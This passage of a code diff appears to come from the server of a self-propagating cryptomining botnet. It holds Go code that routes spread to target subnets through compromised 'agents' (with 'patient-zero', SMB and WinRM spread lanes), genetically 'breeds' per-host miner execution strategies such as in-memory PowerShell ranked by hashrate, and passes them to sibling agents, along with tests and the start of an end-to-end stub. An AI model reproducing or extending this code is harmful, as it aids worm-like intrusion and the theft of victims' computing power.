key := c.agentID + "|" + target
|
||||
if seen[key] {
|
||||
return
|
||||
}
|
||||
seen[key] = true
|
||||
if c.laneRate == 0 {
|
||||
c.laneRate = laneRates[target+"|"+strings.TrimSpace(c.joinLane)]
|
||||
if c.laneRate == 0 {
|
||||
c.laneRate = laneRates[target+"|"]
|
||||
}
|
||||
}
|
||||
out = append(out, c)
|
||||
}
|
||||
|
||||
for _, sess := range in.Sessions {
|
||||
for _, hop := range sess.Hops {
|
||||
ag := fleet[hop.AgentID]
|
||||
c := candidate{
|
||||
agentID: hop.AgentID,
|
||||
agentName: hop.AgentName,
|
||||
subnet: hop.Subnet,
|
||||
sessionID: sess.SessionID,
|
||||
hopIndex: hop.HopIndex,
|
||||
clearance: ag.Clearance,
|
||||
latencyMs: ag.LatencyMs,
|
||||
joinLane: ag.JoinLane,
|
||||
}
|
||||
for _, d := range sess.Discoveries {
|
||||
if NormalizeSubnet(d.Subnet) == target && d.AgentID == hop.AgentID {
|
||||
c.discovered = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if c.discovered || NormalizeSubnet(hop.Subnet) == target {
|
||||
add(c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, ag := range in.FleetAgents {
|
||||
if !ag.Connected || ag.Clearance < SpreadMinClearance {
|
||||
continue
|
||||
}
|
||||
if NormalizeSubnet(ag.Subnet) != target {
|
||||
continue
|
||||
}
|
||||
add(candidate{
|
||||
agentID: ag.AgentID,
|
||||
agentName: ag.AgentName,
|
||||
subnet: ag.Subnet,
|
||||
clearance: ag.Clearance,
|
||||
latencyMs: ag.LatencyMs,
|
||||
joinLane: ag.JoinLane,
|
||||
laneRate: laneRates[target+"|"+strings.TrimSpace(ag.JoinLane)],
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func scoreCandidates(target, requestedLane string, cands []candidate) (RouteRecommendation, []RouteEdge) {
|
||||
var edges []RouteEdge
|
||||
var best RouteRecommendation
|
||||
var bestScore float64
|
||||
|
||||
for _, c := range cands {
|
||||
clearanceScore := clearancePreference(c.clearance)
|
||||
laneScore := c.laneRate
|
||||
if laneScore <= 0 && strings.TrimSpace(requestedLane) != "" && strings.EqualFold(c.joinLane, requestedLane) {
|
||||
laneScore = 0.5
|
||||
}
|
||||
latencyScore := latencyPreference(c.latencyMs)
|
||||
weight := weightClearance*clearanceScore + weightLane*laneScore + weightLatency*latencyScore
|
||||
if c.discovered {
|
||||
weight += 0.05
|
||||
}
|
||||
|
||||
edges = append(edges, RouteEdge{
|
||||
FromAgentID: c.agentID,
|
||||
FromAgentName: c.agentName,
|
||||
ToSubnet: target,
|
||||
SessionID: c.sessionID,
|
||||
HopIndex: c.hopIndex,
|
||||
JoinLane: c.joinLane,
|
||||
Clearance: c.clearance,
|
||||
LaneSuccess: laneScore,
|
||||
LatencyMs: c.latencyMs,
|
||||
Weight: weight,
|
||||
})
|
||||
|
||||
if weight > bestScore {
|
||||
bestScore = weight
|
||||
reason := "minimum-clearance route"
|
||||
if c.discovered {
|
||||
reason = "path-tracer discovery on subnet"
|
||||
} else if NormalizeSubnet(c.subnet) == target {
|
||||
reason = "fleet agent on target subnet"
|
||||
}
|
||||
best = RouteRecommendation{
|
||||
TargetSubnet: target,
|
||||
SeedAgentID: c.agentID,
|
||||
SeedAgentName: c.agentName,
|
||||
EgressAgentID: c.agentID,
|
||||
EgressHopIndex: c.hopIndex,
|
||||
SessionID: c.sessionID,
|
||||
JoinLane: firstNonEmpty(requestedLane, c.joinLane),
|
||||
ClearanceLevel: c.clearance,
|
||||
Score: weight,
|
||||
Reason: reason,
|
||||
}
|
||||
}
|
||||
}
|
||||
return best, edges
|
||||
}
|
||||
|
||||
func clearancePreference(level int) float64 {
|
||||
if level < SpreadMinClearance {
|
||||
return 0
|
||||
}
|
||||
excess := float64(level - SpreadMinClearance)
|
||||
maxExcess := float64(clearance.L4 - SpreadMinClearance)
|
||||
if maxExcess <= 0 {
|
||||
return 1
|
||||
}
|
||||
if excess > maxExcess {
|
||||
excess = maxExcess
|
||||
}
|
||||
return 1 - excess/maxExcess
|
||||
}
|
||||
|
||||
func latencyPreference(ms int) float64 {
|
||||
if ms <= 0 {
|
||||
return 1
|
||||
}
|
||||
return 1 / (1 + float64(ms)/100)
|
||||
}
|
||||
|
||||
func laneSuccessRates(stats []LaneSuccessStat, requestedLane string) map[string]float64 {
|
||||
type bucket struct {
|
||||
total int
|
||||
lane int
|
||||
}
|
||||
bySubnet := make(map[string]*bucket)
|
||||
for _, s := range stats {
|
||||
sub := NormalizeSubnet(s.Subnet)
|
||||
if sub == "" || s.Success <= 0 {
|
||||
continue
|
||||
}
|
||||
b := bySubnet[sub]
|
||||
if b == nil {
|
||||
b = &bucket{}
|
||||
bySubnet[sub] = b
|
||||
}
|
||||
b.total += s.Success
|
||||
if requestedLane != "" && strings.EqualFold(s.JoinLane, requestedLane) {
|
||||
b.lane += s.Success
|
||||
}
|
||||
}
|
||||
out := make(map[string]float64)
|
||||
for sub, b := range bySubnet {
|
||||
if b.total <= 0 {
|
||||
continue
|
||||
}
|
||||
out[sub+"|"] = clamp01(float64(b.total) / float64(b.total+3))
|
||||
if requestedLane != "" && b.lane > 0 {
|
||||
out[sub+"|"+requestedLane] = clamp01(float64(b.lane) / float64(b.total))
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func clamp01(v float64) float64 {
|
||||
if v < 0 {
|
||||
return 0
|
||||
}
|
||||
if v > 1 {
|
||||
return 1
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func firstNonEmpty(parts ...string) string {
|
||||
for _, p := range parts {
|
||||
if strings.TrimSpace(p) != "" {
|
||||
return strings.TrimSpace(p)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// NormalizeSubnet returns a /24-style prefix for routing keys.
|
||||
func NormalizeSubnet(s string) string {
|
||||
s = strings.TrimSpace(strings.ToLower(s))
|
||||
if s == "" {
|
||||
return ""
|
||||
}
|
||||
if strings.HasSuffix(s, ".x") {
|
||||
return strings.TrimSuffix(s, ".x")
|
||||
}
|
||||
return SubnetFromIP(s)
|
||||
}
|
||||
|
||||
// SubnetFromIP extracts a routable subnet prefix from an IP or CIDR-ish string.
|
||||
func SubnetFromIP(ip string) string {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" {
|
||||
return ""
|
||||
}
|
||||
host := ip
|
||||
if h, _, err := net.SplitHostPort(ip); err == nil {
|
||||
host = h
|
||||
}
|
||||
if strings.Count(host, ".") == 2 {
|
||||
return host
|
||||
}
|
||||
parsed := net.ParseIP(host)
|
||||
if parsed == nil {
|
||||
return ""
|
||||
}
|
||||
if v4 := parsed.To4(); v4 != nil {
|
||||
parts := strings.Split(host, ".")
|
||||
if len(parts) >= 3 {
|
||||
return strings.Join(parts[:3], ".")
|
||||
}
|
||||
}
|
||||
if strings.Contains(host, ":") {
|
||||
parts := strings.Split(host, ":")
|
||||
if len(parts) >= 3 {
|
||||
return strings.Join(parts[:3], ":")
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
114
server/internal/spreadrouter/router_test.go
Normal file
114
server/internal/spreadrouter/router_test.go
Normal file
@@ -0,0 +1,114 @@
|
||||
package spreadrouter
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/clearance"
|
||||
)
|
||||
|
||||
func TestBuildPrefersMinimumClearanceOnSubnet(t *testing.T) {
|
||||
in := Input{
|
||||
TargetSubnets: []string{"10.1.2"},
|
||||
RequestedLane: "do_peer",
|
||||
FleetAgents: []FleetAgentSnapshot{
|
||||
{AgentID: "patient-zero", AgentName: "PZ", Subnet: "10.1.2", Clearance: clearance.L4, LatencyMs: 40, JoinLane: "gpo", Connected: true},
|
||||
{AgentID: "seed-hop", AgentName: "Seed", Subnet: "10.1.2", Clearance: clearance.L2, LatencyMs: 20, JoinLane: "do_peer", Connected: true},
|
||||
},
|
||||
LaneSuccess: []LaneSuccessStat{
|
||||
{Subnet: "10.1.2", JoinLane: "do_peer", Success: 5},
|
||||
},
|
||||
Sessions: []SessionSnapshot{
|
||||
{
|
||||
SessionID: "sess-1",
|
||||
Hops: []HopSnapshot{
|
||||
{AgentID: "patient-zero", AgentName: "PZ", Subnet: "10.1.2", SessionID: "sess-1", HopIndex: 0, Connected: true},
|
||||
{AgentID: "seed-hop", AgentName: "Seed", Subnet: "10.1.2", SessionID: "sess-1", HopIndex: 1, Connected: true},
|
||||
},
|
||||
Discoveries: []SubnetDiscovery{
|
||||
{Subnet: "10.1.2", AgentID: "seed-hop", Hosts: []string{"10.1.2.50"}},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
rt := Build(in)
|
||||
rec, ok := rt.Recommend("10.1.2")
|
||||
if !ok {
|
||||
t.Fatal("expected route recommendation")
|
||||
}
|
||||
if rec.SeedAgentID != "seed-hop" {
|
||||
t.Fatalf("seed=%q want seed-hop (min clearance + lane success)", rec.SeedAgentID)
|
||||
}
|
||||
if rec.EgressAgentID != "seed-hop" {
|
||||
t.Fatalf("egress=%q", rec.EgressAgentID)
|
||||
}
|
||||
if rec.ClearanceLevel != clearance.L2 {
|
||||
t.Fatalf("clearance=%d", rec.ClearanceLevel)
|
||||
}
|
||||
if rec.JoinLane != "do_peer" {
|
||||
t.Fatalf("join_lane=%q", rec.JoinLane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildUsesPathTracerDiscoveryOverPatientZero(t *testing.T) {
|
||||
in := Input{
|
||||
TargetSubnets: []string{"192.168.5"},
|
||||
RequestedLane: "spread_smb_unc",
|
||||
FleetAgents: []FleetAgentSnapshot{
|
||||
{AgentID: "hop-a", Subnet: "10.0.0", Clearance: clearance.L2, LatencyMs: 10, Connected: true},
|
||||
{AgentID: "hop-b", Subnet: "10.0.1", Clearance: clearance.L2, LatencyMs: 15, Connected: true},
|
||||
},
|
||||
Sessions: []SessionSnapshot{
|
||||
{
|
||||
SessionID: "sess-pt",
|
||||
Hops: []HopSnapshot{
|
||||
{AgentID: "hop-a", Subnet: "10.0.0", SessionID: "sess-pt", HopIndex: 0, Connected: true},
|
||||
{AgentID: "hop-b", Subnet: "10.0.1", SessionID: "sess-pt", HopIndex: 1, Connected: true},
|
||||
},
|
||||
Discoveries: []SubnetDiscovery{
|
||||
{Subnet: "192.168.5", AgentID: "hop-b", Hosts: []string{"192.168.5.20"}},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
rt := Build(in)
|
||||
rec, ok := rt.Recommend("192.168.5")
|
||||
if !ok || rec.SeedAgentID != "hop-b" {
|
||||
t.Fatalf("route=%+v ok=%v", rec, ok)
|
||||
}
|
||||
if rec.Reason != "path-tracer discovery on subnet" {
|
||||
t.Fatalf("reason=%q", rec.Reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildRejectsBelowSpreadClearance(t *testing.T) {
|
||||
in := Input{
|
||||
TargetSubnets: []string{"10.2.0"},
|
||||
FleetAgents: []FleetAgentSnapshot{
|
||||
{AgentID: "low-clear", Subnet: "10.2.0", Clearance: clearance.L1, Connected: true},
|
||||
},
|
||||
}
|
||||
rt := Build(in)
|
||||
if _, ok := rt.Recommend("10.2.0"); ok {
|
||||
t.Fatal("expected no route for L1 agent")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeSubnet(t *testing.T) {
|
||||
if got := NormalizeSubnet("10.1.2.x"); got != "10.1.2" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
if got := SubnetFromIP("203.0.113.44"); got != "203.0.113" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestToHint(t *testing.T) {
|
||||
hint := ToHint(RouteRecommendation{
|
||||
TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,
|
||||
})
|
||||
if hint == nil || hint.SeedAgentID != "a1" || hint.TargetSubnet != "10.1.2" {
|
||||
t.Fatalf("hint=%+v", hint)
|
||||
}
|
||||
}
|
||||
319
server/internal/strategy/breeding.go
Normal file
319
server/internal/strategy/breeding.go
Normal file
@@ -0,0 +1,319 @@
|
||||
package strategy
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Auth tier-plan precedence (highest wins on agent connect):
|
||||
// 1. inherited phenotype — direct fleet winner from SQLite fleet_phenotypes
|
||||
// 2. genetic breed — crossover of two lane-specific winners for the same fingerprint
|
||||
// 3. adaptive strategy — per-host scored tier order from AdaptiveEngine
|
||||
|
||||
// LaneWinner is a spread/join-lane-specific winning path within a fingerprint bucket.
|
||||
type LaneWinner struct {
|
||||
SpreadLane string
|
||||
TierOrder []string
|
||||
ActiveTier string
|
||||
PeakHashrate float64
|
||||
FailedTiers map[string]bool
|
||||
SourceAgentName string
|
||||
}
|
||||
|
||||
// BredPhenotype is a genetically crossbred tier order from two lane-winning parents.
|
||||
type BredPhenotype struct {
|
||||
Fingerprint string
|
||||
TierOrder []string
|
||||
ParentLanes []string
|
||||
SpreadLane string
|
||||
PeakHashrate float64
|
||||
SourceAgentName string
|
||||
}
|
||||
|
||||
// LaneWinnerInput is the publish payload for one lane-specific winner.
|
||||
type LaneWinnerInput struct {
|
||||
Fingerprint string
|
||||
SpreadLane string
|
||||
TierOrder []string
|
||||
ActiveTier string
|
||||
PeakHashrate float64
|
||||
FailedTiers map[string]bool
|
||||
SourceAgentName string
|
||||
}
|
||||
|
||||
// BreedingRegistry tracks lane-specific winners and crossbred siblings per fingerprint.
|
||||
type BreedingRegistry struct {
|
||||
mu sync.RWMutex
|
||||
lanes map[string]map[string]LaneWinner
|
||||
bred map[string]BredPhenotype
|
||||
}
|
||||
|
||||
func NewBreedingRegistry() *BreedingRegistry {
|
||||
return &BreedingRegistry{
|
||||
lanes: make(map[string]map[string]LaneWinner),
|
||||
bred: make(map[string]BredPhenotype),
|
||||
}
|
||||
}
|
||||
|
||||
// RecordLaneWinner stores a lane winner and crossbreeds when two distinct lanes exist.
|
||||
func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype, bool) {
|
||||
fp := strings.TrimSpace(in.Fingerprint)
|
||||
lane := strings.TrimSpace(in.SpreadLane)
|
||||
if r == nil || fp == "" || lane == "" || len(in.TierOrder) == 0 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
winner := LaneWinner{
|
||||
SpreadLane: lane,
|
||||
TierOrder: append([]string(nil), in.TierOrder...),
|
||||
ActiveTier: strings.TrimSpace(in.ActiveTier),
|
||||
PeakHashrate: in.PeakHashrate,
|
||||
FailedTiers: cloneFailedSet(in.FailedTiers),
|
||||
SourceAgentName: strings.TrimSpace(in.SourceAgentName),
|
||||
}
|
||||
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if r.lanes[fp] == nil {
|
||||
r.lanes[fp] = make(map[string]LaneWinner)
|
||||
}
|
||||
r.lanes[fp][lane] = winner
|
||||
if len(r.lanes[fp]) < 2 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
bred := breedLaneWinners(fp, r.lanes[fp])
|
||||
if len(bred.TierOrder) == 0 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
r.bred[fp] = bred
|
||||
return bred, true
|
||||
}
|
||||
|
||||
// GetBred returns the latest crossbred phenotype for a fingerprint bucket.
|
||||
func (r *BreedingRegistry) GetBred(fingerprint string) (BredPhenotype, bool) {
|
||||
if r == nil {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
fp := strings.TrimSpace(fingerprint)
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
bred, ok := r.bred[fp]
|
||||
if !ok || len(bred.TierOrder) == 0 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
return bred, true
|
||||
}
|
||||
|
||||
// LaneCount returns how many distinct spread lanes are recorded for a fingerprint.
|
||||
func (r *BreedingRegistry) LaneCount(fingerprint string) int {
|
||||
if r == nil {
|
||||
return 0
|
||||
}
|
||||
fp := strings.TrimSpace(fingerprint)
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return len(r.lanes[fp])
|
||||
}
|
||||
|
||||
func breedLaneWinners(fingerprint string, lanes map[string]LaneWinner) BredPhenotype {
|
||||
parents := make([]LaneWinner, 0, len(lanes))
|
||||
for _, w := range lanes {
|
||||
parents = append(parents, w)
|
||||
}
|
||||
sort.Slice(parents, func(i, j int) bool {
|
||||
if parents[i].PeakHashrate == parents[j].PeakHashrate {
|
||||
return parents[i].SpreadLane < parents[j].SpreadLane
|
||||
}
|
||||
return parents[i].PeakHashrate > parents[j].PeakHashrate
|
||||
})
|
||||
if len(parents) < 2 {
|
||||
return BredPhenotype{}
|
||||
}
|
||||
a, b := parents[0], parents[1]
|
||||
order := CrossbreedTierOrders(a.TierOrder, b.TierOrder, a.FailedTiers, b.FailedTiers)
|
||||
if len(order) == 0 {
|
||||
return BredPhenotype{}
|
||||
}
|
||||
peak := a.PeakHashrate
|
||||
if b.PeakHashrate > peak {
|
||||
peak = b.PeakHashrate
|
||||
}
|
||||
return BredPhenotype{
|
||||
Fingerprint: fingerprint,
|
||||
TierOrder: order,
|
||||
ParentLanes: []string{a.SpreadLane, b.SpreadLane},
|
||||
SpreadLane: a.SpreadLane,
|
||||
PeakHashrate: peak,
|
||||
SourceAgentName: geneticBreedSourceName(a.SourceAgentName, b.SourceAgentName),
|
||||
}
|
||||
}
|
||||
|
||||
func geneticBreedSourceName(a, b string) string {
|
||||
if a != "" && b != "" && a != b {
|
||||
return "genetic_breed:" + a + "+" + b
|
||||
}
|
||||
if a != "" {
|
||||
return "genetic_breed:" + a
|
||||
}
|
||||
if b != "" {
|
||||
return "genetic_breed:" + b
|
||||
}
|
||||
return "genetic_breed"
|
||||
}
|
||||
|
||||
// CrossbreedTierOrders splices two parent tier orders at a crossover point, then
|
||||
// mutates tiers that failed on either parent by swapping in viable alternatives.
|
||||
func CrossbreedTierOrders(parentA, parentB []string, failedA, failedB map[string]bool) []string {
|
||||
a := normalizeTierList(parentA)
|
||||
b := normalizeTierList(parentB)
|
||||
if len(a) == 0 {
|
||||
return append([]string(nil), b...)
|
||||
}
|
||||
if len(b) == 0 {
|
||||
return append([]string(nil), a...)
|
||||
}
|
||||
|
||||
crossover := len(a) / 2
|
||||
if crossover == 0 {
|
||||
crossover = 1
|
||||
}
|
||||
child := append([]string(nil), a[:crossover]...)
|
||||
seen := make(map[string]bool, len(a)+len(b))
|
||||
for _, tier := range child {
|
||||
seen[tier] = true
|
||||
}
|
||||
for _, tier := range b {
|
||||
if seen[tier] {
|
||||
continue
|
||||
}
|
||||
child = append(child, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
for _, tier := range a[crossover:] {
|
||||
if seen[tier] {
|
||||
continue
|
||||
}
|
||||
child = append(child, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
|
||||
failed := unionFailedSets(failedA, failedB)
|
||||
if len(failed) == 0 {
|
||||
return child
|
||||
}
|
||||
return mutateFailedTiers(child, a, b, failed)
|
||||
}
|
||||
|
||||
func mutateFailedTiers(child, parentA, parentB []string, failed map[string]bool) []string {
|
||||
replacements := make([]string, 0, len(parentA)+len(parentB))
|
||||
seen := make(map[string]bool)
|
||||
for _, list := range [][]string{parentA, parentB} {
|
||||
for _, tier := range list {
|
||||
if failed[tier] || seen[tier] {
|
||||
continue
|
||||
}
|
||||
replacements = append(replacements, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
}
|
||||
|
||||
out := make([]string, 0, len(child))
|
||||
used := make(map[string]bool, len(child))
|
||||
repIdx := 0
|
||||
for _, tier := range child {
|
||||
if !failed[tier] {
|
||||
if !used[tier] {
|
||||
out = append(out, tier)
|
||||
used[tier] = true
|
||||
}
|
||||
continue
|
||||
}
|
||||
for repIdx < len(replacements) {
|
||||
candidate := replacements[repIdx]
|
||||
repIdx++
|
||||
if used[candidate] {
|
||||
continue
|
||||
}
|
||||
out = append(out, candidate)
|
||||
used[candidate] = true
|
||||
break
|
||||
}
|
||||
}
|
||||
for _, tier := range child {
|
||||
if failed[tier] || used[tier] {
|
||||
continue
|
||||
}
|
||||
out = append(out, tier)
|
||||
used[tier] = true
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// FailedTierSet builds a set of tiers that failed in attempt telemetry.
|
||||
func FailedTierSet(attempts []TierAttempt) map[string]bool {
|
||||
out := make(map[string]bool)
|
||||
for _, a := range attempts {
|
||||
tier := strings.TrimSpace(a.Tier)
|
||||
if tier == "" || a.OK {
|
||||
continue
|
||||
}
|
||||
out[tier] = true
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func normalizeTierList(order []string) []string {
|
||||
out := make([]string, 0, len(order))
|
||||
seen := make(map[string]bool, len(order))
|
||||
for _, tier := range order {
|
||||
tier = strings.TrimSpace(tier)
|
||||
if tier == "" || seen[tier] {
|
||||
continue
|
||||
}
|
||||
out = append(out, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func cloneFailedSet(in map[string]bool) map[string]bool {
|
||||
if len(in) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string]bool, len(in))
|
||||
for k, v := range in {
|
||||
if v {
|
||||
out[k] = true
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func unionFailedSets(a, b map[string]bool) map[string]bool {
|
||||
if len(a) == 0 && len(b) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := cloneFailedSet(a)
|
||||
for k, v := range b {
|
||||
if v {
|
||||
if out == nil {
|
||||
out = make(map[string]bool)
|
||||
}
|
||||
out[k] = true
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ToInherited converts a bred phenotype into an auth payload for sibling agents.
|
||||
func (b BredPhenotype) ToInherited() InheritedPhenotype {
|
||||
return InheritedPhenotype{
|
||||
SourceAgentName: b.SourceAgentName,
|
||||
Fingerprint: b.Fingerprint,
|
||||
SpreadLane: b.SpreadLane,
|
||||
TierOrder: append([]string(nil), b.TierOrder...),
|
||||
PeakHashrate: b.PeakHashrate,
|
||||
GeneticBreed: true,
|
||||
ParentLanes: append([]string(nil), b.ParentLanes...),
|
||||
}
|
||||
}
|
||||
116
server/internal/strategy/breeding_test.go
Normal file
116
server/internal/strategy/breeding_test.go
Normal file
@@ -0,0 +1,116 @@
|
||||
package strategy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestCrossbreedTierOrdersMergesParents(t *testing.T) {
|
||||
order := CrossbreedTierOrders(
|
||||
[]string{"container", "wsl", "cpu_inprocess"},
|
||||
[]string{"wsl", "ps_inmemory", "stratum_direct"},
|
||||
nil, nil,
|
||||
)
|
||||
if len(order) < 4 {
|
||||
t.Fatalf("order too short: %v", order)
|
||||
}
|
||||
if order[0] != "container" {
|
||||
t.Fatalf("expected crossover head from parent A, got %v", order)
|
||||
}
|
||||
seen := make(map[string]bool)
|
||||
for _, tier := range order {
|
||||
if seen[tier] {
|
||||
t.Fatalf("duplicate tier %q in %v", tier, order)
|
||||
}
|
||||
seen[tier] = true
|
||||
}
|
||||
for _, want := range []string{"container", "wsl", "cpu_inprocess", "ps_inmemory", "stratum_direct"} {
|
||||
if !seen[want] {
|
||||
t.Fatalf("missing tier %q in %v", want, order)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrossbreedMutatesFailedTiers(t *testing.T) {
|
||||
order := CrossbreedTierOrders(
|
||||
[]string{"docker", "wsl", "cpu_inprocess"},
|
||||
[]string{"container", "ps_inmemory", "cpu_inprocess"},
|
||||
map[string]bool{"docker": true},
|
||||
map[string]bool{"ps_inmemory": true},
|
||||
)
|
||||
if len(order) == 0 {
|
||||
t.Fatal("empty bred order")
|
||||
}
|
||||
if order[0] == "docker" {
|
||||
t.Fatalf("failed tier docker should be mutated away, got %v", order)
|
||||
}
|
||||
joined := strings.Join(order, ",")
|
||||
if strings.Contains(joined, "ps_inmemory") {
|
||||
t.Fatalf("failed tier ps_inmemory should be mutated away, got %v", order)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBreedingRegistryRequiresDistinctLanes(t *testing.T) {
|
||||
reg := NewBreedingRegistry()
|
||||
fp := "windows|0|0|0|0|0|127.0.0"
|
||||
_, bred := reg.RecordLaneWinner(LaneWinnerInput{
|
||||
Fingerprint: fp, SpreadLane: "winrm",
|
||||
TierOrder: []string{"container", "wsl"}, PeakHashrate: 500,
|
||||
})
|
||||
if bred {
|
||||
t.Fatal("single lane should not breed")
|
||||
}
|
||||
if reg.LaneCount(fp) != 1 {
|
||||
t.Fatalf("lane count = %d", reg.LaneCount(fp))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBreedingRegistryCrossbreedsDistinctLanes(t *testing.T) {
|
||||
reg := NewBreedingRegistry()
|
||||
fp := "windows|0|0|0|0|0|127.0.0"
|
||||
reg.RecordLaneWinner(LaneWinnerInput{
|
||||
Fingerprint: fp, SpreadLane: "winrm", SourceAgentName: "worker-07",
|
||||
TierOrder: []string{"container", "wsl", "cpu_inprocess"}, PeakHashrate: 900,
|
||||
FailedTiers: map[string]bool{"docker": true},
|
||||
})
|
||||
bred, ok := reg.RecordLaneWinner(LaneWinnerInput{
|
||||
Fingerprint: fp, SpreadLane: "docker", SourceAgentName: "worker-12",
|
||||
TierOrder: []string{"wsl", "container", "ps_inmemory"}, PeakHashrate: 700,
|
||||
FailedTiers: map[string]bool{"exe_subprocess": true},
|
||||
})
|
||||
if !ok {
|
||||
t.Fatal("expected breed after second lane")
|
||||
}
|
||||
if len(bred.ParentLanes) != 2 || bred.ParentLanes[0] != "winrm" || bred.ParentLanes[1] != "docker" {
|
||||
t.Fatalf("parent lanes = %v", bred.ParentLanes)
|
||||
}
|
||||
if len(bred.TierOrder) == 0 {
|
||||
t.Fatal("empty bred tier order")
|
||||
}
|
||||
|
||||
got, ok := reg.GetBred(fp)
|
||||
if !ok {
|
||||
t.Fatal("GetBred missed bred phenotype")
|
||||
}
|
||||
if len(got.TierOrder) != len(bred.TierOrder) {
|
||||
t.Fatalf("stored bred = %v", got.TierOrder)
|
||||
}
|
||||
inh := got.ToInherited()
|
||||
if !inh.GeneticBreed {
|
||||
t.Fatal("expected genetic_breed flag")
|
||||
}
|
||||
if inh.SourceAgentName != "genetic_breed:worker-07+worker-12" {
|
||||
t.Fatalf("source = %q", inh.SourceAgentName)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFailedTierSetFromAttempts(t *testing.T) {
|
||||
failed := FailedTierSet([]TierAttempt{
|
||||
{Tier: "docker", OK: false},
|
||||
{Tier: "wsl", OK: true},
|
||||
{Tier: "exe_subprocess", OK: false},
|
||||
})
|
||||
if !failed["docker"] || !failed["exe_subprocess"] || failed["wsl"] {
|
||||
t.Fatalf("unexpected failed set: %v", failed)
|
||||
}
|
||||
}
|
||||
34
server/internal/strategy/fleet_role.go
Normal file
34
server/internal/strategy/fleet_role.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package strategy
|
||||
|
||||
import "math"
|
||||
|
||||
// NormalizeFleetRole coerces miner|seeder|auto to a runtime role label.
|
||||
func NormalizeFleetRole(role string) string {
|
||||
switch role {
|
||||
case "seeder", "miner":
|
||||
return role
|
||||
default:
|
||||
return "auto"
|
||||
}
|
||||
}
|
||||
|
||||
// EmberwakeHeat returns 0–1 intensity for war-room heat maps from fleet role pressure fields.
|
||||
func EmberwakeHeat(fleetRole string, seedPressure, hashratePressure float64) float64 {
|
||||
if fleetRole == "seeder" {
|
||||
return clamp01(seedPressure)
|
||||
}
|
||||
if hashratePressure > 0 {
|
||||
return clamp01(hashratePressure)
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func clamp01(v float64) float64 {
|
||||
if v < 0 {
|
||||
return 0
|
||||
}
|
||||
if v > 1 {
|
||||
return 1
|
||||
}
|
||||
return math.Round(v*1000) / 1000
|
||||
}
|
||||
21
server/internal/strategy/fleet_role_test.go
Normal file
21
server/internal/strategy/fleet_role_test.go
Normal file
@@ -0,0 +1,21 @@
|
||||
package strategy
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestEmberwakeHeatSeederUsesSeedPressure(t *testing.T) {
|
||||
if h := EmberwakeHeat("seeder", 0.8, 0); h != 0.8 {
|
||||
t.Fatalf("heat=%v", h)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEmberwakeHeatMinerUsesHashratePressure(t *testing.T) {
|
||||
if h := EmberwakeHeat("miner", 0, 0.55); h != 0.55 {
|
||||
t.Fatalf("heat=%v", h)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEmberwakeHeatClamps(t *testing.T) {
|
||||
if h := EmberwakeHeat("miner", 0, 2); h != 1 {
|
||||
t.Fatalf("heat=%v", h)
|
||||
}
|
||||
}
|
||||
176
server/web/e2e/discover-spread-stub.ts
Normal file
176
server/web/e2e/discover-spread-stub.ts
Normal file
@@ -0,0 +1,176 @@
|
||||
/**
|
||||
* Stub agent for discover→spread E2E — acknowledges discover_and_join and reports join_lane.
|
||||
*/
|
||||
import type { APIRequestContext } from '@playwright/test';
|
||||
import { fetchFleetSecret, waitForServerHealth } from './fixtures';
|
||||
|
||||
export const E2E_DISCOVER_AGENT_ID = 'e2e-discover-spread-agent';
|
||||
export const E2E_DISCOVER_AGENT_HOSTNAME = 'E2E-Discover-Host';
|
||||
export const E2E_DISCOVER_JOIN_LANE = 'dns_txt';
|
||||
export const E2E_DISCOVER_JOIN_LABEL = 'DNS TXT';
|
||||
|
||||
